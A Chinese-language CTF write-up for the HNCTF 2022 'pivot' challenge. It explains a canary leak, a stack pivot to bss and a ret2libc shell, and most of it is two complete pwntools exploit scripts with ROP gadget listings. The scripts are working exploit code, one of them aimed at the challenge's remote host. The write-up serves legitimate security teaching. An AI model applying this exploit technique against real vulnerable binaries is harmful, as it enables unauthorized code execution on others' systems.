[HNCTF 2022 WEEK2]pivot wp

又一道栈迁移,64位开启canary和nx保护,
ida查看共有两次输入,都需要验证canary


而第二次溢出长度不够,考虑栈迁移
于是第一次溢出泄露canary,第二次进行栈迁移,再到迁移到的bss段上进行布栈操作泄露libc,最后再返回主函数使用one_gadget
泄露canary之后的第一段payload:

payload=cyclic(0x108)+p64(canary)+p64(bss_addr)+p64(read_text) #read_text为第二次read 
io.send(payload)

利用一次leave控制rbp寄存器到bss_addr处,再进行read,从距离rbp-0x110处开始布栈,注意将rbp(也就是bss_addr处)覆盖为bss_addr-0x110,将rbp+0x8(也就是bss_addr+0x8)处覆盖为leave_ret,完成后第二次leave劫持rsp到bss_addr+0x8处,同时将rbp指向bss_addr-0x110处,然后第三次leave_ret先劫持rsp到bss_addr-0x110处,然后pop rbp导致rsp+0x8,最后ret执行后续指令,于是利用第二段payload泄露libc,注意栈空间计算,这里使用了ljust左对齐,之前手算的偏移导致canary验证出错😶‍🌫️

payload=p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
payload=payload.ljust(0x108,b"a")+p64(canary)+p64(bss_addr-0x110)+p64(leave_ret)
io.sendline(payload)

另外注意最后返回的是vuln函数不是main函数,一开始返回main用gdb步进到printf出问题,(main函数中setbuf后缓冲区设0,导致printf时会有一个在栈上创建一坨相关数据结构的操作,就算正常跑也要吃掉大量栈,所以会跑着跑着栈不够了,写到不该写的地方了。)--学长原话摘抄
最后此题one_gadget只有一个能在本地调试模式下打通,远端通不了;

还是放下不完整的exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

io=process("./pivot")
# io=remote("43.143.7.127",28559)
elf=ELF("./pivot")
libc=ELF("./libc.so.6")

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
one_gadget=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
pop_rdi_ret=0x401343
bss_addr=0x404080+0x500
leave_ret=0x401213
read_text=0x4011D4
vuln=0x4011b6

io.recvuntil(b"Name:\n")
payload=b"a"*0x28

gdb.attach(io)
pause()

io.sendline(payload)
io.recvuntil(b"a\n")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary:  "+hex(canary))

payload=cyclic(0x108)+p64(canary)+p64(bss_addr)+p64(read_text)
io.send(payload)

io.recvuntil(b"\n")
payload=p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
payload=payload.ljust(0x108,b"a")+p64(canary)+p64(bss_addr-0x110)+p64(leave_ret)
io.sendline(payload)
io.recvuntil(b"BYE.\n")
io.recvuntil(b"BYE.\n")
base_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("base_addr:  "+hex(base_addr))

# sys_addr=base_addr+libc.sym[b"system"]
# str_bin_sh=base_addr+next(libc.search(b"/bin/sh"))

shell=one_gadget[0]+base_addr
print("shell:  "+hex(shell))
payload=cyclic(0x107)+p64(canary)+p64(0)+p64(shell)
io.send(payload)
io.interactive()


# Gadgets information
# ============================================================
# 0x0000000000401213 : leave ; ret
# 0x0000000000401196 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
# 0x00000000004012d3 : mov ecx, 0xc9fffffd ; ret
# 0x000000000040133c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040133e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401340 : pop r14 ; pop r15 ; ret
# 0x0000000000401342 : pop r15 ; ret
# 0x000000000040133b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040133f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040119d : pop rbp ; ret
# 0x0000000000401343 : pop rdi ; ret
# 0x0000000000401341 : pop rsi ; pop r15 ; ret
# 0x000000000040133d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# Unique gadgets found: 14

+++++++++++++++++++++++++++++++++++++++++++++++++++++
更新:
本题不用one_gadget就在最后一次溢出处再迁移一次栈利用构造也行,注意gdb调试偏移量,我不会算只有一次次试
更新后exp可通远端:

from pwn import *
# context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

# io=process("./pivot")
io=remote("43.143.7.127",28442)
elf=ELF("./pivot")
libc=ELF("./libc.so.6")

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
one_gadget=[0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
pop_rdi_ret=0x401343
bss_addr=0x404080+0x900 #偏移卡了我3天,x学长指点通了
leave_ret=0x401213
read_text=0x4011D4
vuln=0x4011b6

io.recvuntil(b"Name:\n")
payload=b"a"*0x28

# gdb.attach(io)
# pause()

io.sendline(payload)
io.recvuntil(b"a\n")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary:  "+hex(canary))

payload=cyclic(0x108)+p64(canary)+p64(bss_addr)+p64(read_text)
io.send(payload)

io.recvuntil(b"\n")
payload=p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
payload=payload.ljust(0x108,b"a")+p64(canary)+p64(bss_addr-0x110)+p64(leave_ret)
io.send(payload)
io.recvuntil(b"BYE.\n")
io.recvuntil(b"BYE.\n")
base_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("base_addr:  "+hex(base_addr))

sys_addr=base_addr+libc.sym[b"system"]
str_bin_sh=base_addr+next(libc.search(b"/bin/sh"))

shell=one_gadget[1]+base_addr
print("sys_addr:  "+hex(sys_addr))
print("str_bin_sh:  "+hex(str_bin_sh))

payload=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(sys_addr)
payload=payload.ljust(0x108,b"a")+p64(canary)+p64(bss_addr-0x208)+p64(leave_ret)  #0x208偏移从0x220开始手调😎👓🥹
io.sendline(payload)
io.interactive()


# Gadgets information
# ============================================================
# 0x0000000000401213 : leave ; ret
# 0x0000000000401196 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
# 0x00000000004012d3 : mov ecx, 0xc9fffffd ; ret
# 0x000000000040133c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040133e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401340 : pop r14 ; pop r15 ; ret
# 0x0000000000401342 : pop r15 ; ret
# 0x000000000040133b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040133f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040119d : pop rbp ; ret
# 0x0000000000401343 : pop rdi ; ret
# 0x0000000000401341 : pop rsi ; pop r15 ; ret
# 0x000000000040133d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# Unique gadgets found: 14